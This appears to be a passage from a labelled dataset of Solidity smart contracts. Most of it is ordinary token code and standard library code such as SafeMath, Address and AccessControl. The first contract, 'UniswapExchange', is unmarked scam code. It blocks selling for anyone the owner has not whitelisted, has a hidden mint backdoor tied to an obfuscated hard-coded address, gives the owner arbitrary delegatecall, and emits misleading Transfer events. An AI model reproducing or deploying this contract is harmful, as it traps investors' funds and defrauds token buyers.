function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,859 |
pragma solidity ^0.4.25;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractToken is Token, SafeMath {
constructor () public {
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return accounts [_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => mapping (address => uint256)) private allowances;
}
contract GPCToken is AbstractToken {
uint256 constant MAX_TOKEN_COUNT = 12500000000 * (10**18);
address private owner;
mapping (address => bool) private frozenAccount;
uint256 tokenCount = 0;
bool frozen = false;
constructor () public {
owner = msg.sender;
}
function totalSupply() public constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Green Planet Coin";
string constant public symbol = "GPC";
uint8 constant public decimals = 18;
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _value) public
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
function createTokens(uint256 _value) public
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
function setOwner(address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
function refundTokens(address _token, address _refund, uint256 _value) public {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
function freezeAccount(address _target, bool freeze) public {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
event Freeze ();
event Unfreeze ();
event FrozenFunds(address target, bool frozen);
event RefundTokens(address _token, address _refund, uint256 _value);
} | 1 | 3,487 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ForestEcosphere {
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
using SafeMath for uint256;
address public owner;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 private constant MAX_UINT256 = 2**256 -1 ;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
bool lock = false;
constructor(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
owner = msg.sender;
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier isLock {
require(!lock);
_;
}
function setLock(bool _lock) onlyOwner public{
lock = _lock;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function transfer(
address _to,
uint256 _value
) public returns (bool) {
require(balances[msg.sender] >= _value);
require(msg.sender == _to || balances[_to] <= MAX_UINT256 - _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value);
require(_from == _to || balances[_to] <= MAX_UINT256 -_value);
require(allowance >= _value);
balances[_from] -= _value;
balances[_to] += _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(
address _owner
) public view returns (uint256) {
return balances[_owner];
}
function approve(
address _spender,
uint256 _value
) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
) public view returns (uint256) {
return allowed[_owner][_spender];
}
} | 1 | 3,513 |
pragma solidity >=0.6.2 <0.8.0;
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.4.24 <0.8.0;
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMathUpgradeable {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity 0.6.12;
interface IMintableCollection is IERC721 {
function burn(uint256 tokenId) external;
function mint(address to, uint256 tokenId) external;
}
pragma solidity 0.6.12;
interface IRewardable {
function addRewards(address rewardToken, uint256 amount) external;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity 0.6.12;
abstract contract EmergencyWithdrawable is OwnableUpgradeable {
function emergencyWithdrawETH() external payable onlyOwner {
msg.sender.send(address(this).balance);
}
function emergencyWithdrawTokens(IERC20Upgradeable token) external onlyOwner {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity >=0.6.2 <0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
